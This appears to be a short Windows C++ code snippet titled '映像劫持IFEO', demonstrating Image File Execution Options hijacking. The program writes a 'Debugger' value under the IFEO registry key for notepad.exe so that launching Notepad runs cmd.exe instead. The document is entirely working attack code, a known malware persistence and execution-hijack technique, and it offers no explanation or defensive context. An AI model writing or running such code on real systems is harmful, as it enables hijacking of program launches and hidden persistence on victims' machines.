映像劫持IFEO

 1 #include "stdafx.h"
 2 #include <Windows.h>
 3 
 4 #pragma  comment(lib, "Advapi32.lib")
 5 
 6 int _tmain(int argc, _TCHAR* argv[])
 7 {
 8     LONG lRst;
 9     HKEY hKey;
10     if(ERROR_SUCCESS != RegCreateKeyEx(
11                             HKEY_LOCAL_MACHINE, 
12                             L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe",
13                             0L,
14                             NULL,
15                             REG_OPTION_NON_VOLATILE,
16                             KEY_ALL_ACCESS,
17                             NULL,
18                             &hKey,
19                             NULL))
20     {
21         wprintf(L"RegCreateKeyEx failed.\n");
22         return 0;
23     }
24 
25     lRst = RegSetValueEx(hKey, L"Debugger", 0L, REG_SZ, (CONST BYTE*)L"cmd.exe", sizeof(L"cmd.exe"));
26     if (ERROR_SUCCESS != lRst)
27     {
28         wprintf(L"RegSetValueEx failed.\n");
29     }
30 
31     RegCloseKey(hKey);
32     return 0;
33 }